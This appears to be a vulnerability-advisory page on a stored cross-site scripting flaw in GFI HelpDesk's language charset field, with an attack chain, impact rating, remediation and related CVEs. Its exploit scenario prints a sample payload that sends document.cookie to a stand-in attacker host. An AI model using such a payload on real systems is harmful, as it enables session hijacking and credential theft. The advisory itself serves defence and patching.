Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain administrator credentials
-
DeliveryAccess language management interface
-
ExploitInject XSS payload in charset field
-
InstallPayload stored in database
-
C2Victim admin views Languages page
-
ExecuteJavaScript executes in victim browser
-
ImpactSession hijacking or credential theft
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid administrator account with access to the language management functionality in GFI HelpDesk. The attacker must have authentication credentials granting PR:H (high privilege) level access to the administrative interface. Additionally, at least one other administrator must view the Languages page for the payload to execute; the vulnerability does not provide access to the attacker's own browser but requires a separate administrator account to trigger the XSS. The default installation of GFI HelpDesk does not disable language management, so this feature is typically available in standard deployments. |
| Impact | CVSS 4.8 (Medium) with network vector, low complexity, and high privileges required (PR:H) reflects the moderate real-world risk. The CVSS vector indicates UI interaction required (UI:P), meaning an admin must view the Languages page for the payload to execute, and scope is changed (affects only other administrators, not the system itself). The high privilege requirement (administrator-only access) significantly limits the attack surface compared to unauthenticated XSS vulnerabilities. However, this represents a real insider threat and administrative compromise vector: a malicious or compromised administrator account can escalate their capabilities by injecting persistent scripts that execute in other admins' browsers, potentially enabling session hijacking, credential theft, or further system compromise. The stored nature of this XSS is more dangerous than reflected XSS because the payload persists and affects any admin viewing the Languages page, increasing exposure over time. No active exploitation has been identified in available data, and this appears to be a low-urgency but legitimate vulnerability affecting the administrative trust boundary. |
| Exploit ScenarioDerived | A malicious administrator or an attacker who has compromised an administrator account logs into GFI HelpDesk and navigates to the language management section. They create a new language or edit an existing one, injecting a JavaScript payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">' into the charset field. When other administrators view the Languages page, this stored payload executes in their browser, stealing session cookies or performing other malicious actions in their administrative context. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 20, 2026
GFI HelpDesk before version 4.99.9 contains a stored cross-site scripting vulnerability in language management where the charset POST parameter is not HTML-sanitized before being rendered by the View_Language.RenderGrid() function. An authenticated administrator can inject arbitrary JavaScript through the charset field when creating or editing a language, with the payload executing in the browsers of other administrators viewing the Languages page. This is a medium-risk vulnerability limited to authenticated administrators but affecting any admin viewer.
RemediationAI
Upgrade GFI HelpDesk to version 4.99.9 or later, which addresses the vulnerability by implementing proper input sanitization and output encoding in the language management functionality. Organizations unable to immediately patch should implement administrative access controls by restricting the language management permission to only trusted administrators and disabling the language management feature if not actively used. Additionally, regularly audit the Languages configuration page for any suspicious entries in the charset field and review administrative audit logs for unauthorized language creation or modification events. Apply Content Security Policy (CSP) headers with 'script-src self' to provide defense-in-depth against XSS execution, though this does not replace the primary patch fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in GFI HelpDesk's language management functionality, specifically in the SWIFT_Language::Create() method which accepts user input from the charset POST parameter without applying HTML entity encoding or sanitization. The root cause is improper input validation and output encoding (CWE-79: Improper Neutralization of Input During Web Page Generation), a classic stored XSS flaw where untrusted data is stored in the application and later rendered without escaping. The charset parameter is intended for HTML character encoding specification but is processed as unsanitized user input. The vulnerability chain involves the administrative interface accepting language configuration data, storing it without sanitization, and then the View_Language.RenderGrid() rendering function outputting this data directly into the HTML response sent to other administrators, creating a persistent XSS payload that executes in their browser context.
Know when Helpdesk gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
GFI HelpDesk before 4.99.9 contains a stored cross-site scripting vulnerability in the language management functionality where the charset POST parameter is passed directly to SWIFT_Language::Create() without HTML sanitization and subsequently rendered unsanitized by View_Language.RenderGrid(). An authenticated administrator can inject arbitrary JavaScript through the charset field when creating or editing a language, and the payload executes in the browser of any administrator viewing the Languages page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
SQL injection in Frappe HelpDesk 1.14.0 dashboard functionality allows authenticated attackers to execute arbitrary SQL
Command injection vulnerability in Helpdesk versions 1.1.21 and earlier in QNAP QTS 4.2.6 build 20180531, QTS 4.3.3 buil
Unauthenticated actors can post ticket replies in Faveo Helpdesk versions 2.0.0 through 2.0.3 by sending crafted request
The documentation component in i-net Clear Reports 16.0 to 19.2, HelpDesk 8.0 to 8.3, and PDFC 4.3 to 6.2 allows a remot
An improper access control vulnerability has been reported to affect QNAP NAS. Rated high severity (CVSS 8.8), this vuln
Vision Helpdesk before 5.7.0 (patched in 5.6.10) allows attackers to read user profiles via modified serialized cookie d
An improper certificate validation vulnerability has been reported to affect Helpdesk. Rated high severity (CVSS 7.7), t
This improper access control vulnerability in Helpdesk allows attackers to get control of QNAP Kayako service. Rated med
GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject persistent JavaScript into ticket subjec
Path traversal in Faveo Helpdesk versions 2.0.0 through 2.0.3 enables remote authenticated administrators to delete arbi
Stored cross-site scripting in GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject arbitrary
Stored cross-site scripting in GFI HelpDesk before version 4.99.10 allows authenticated attackers to inject arbitrary Ja
EUVD-2026-23928
GHSA-xj4v-3q69-qpxx
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB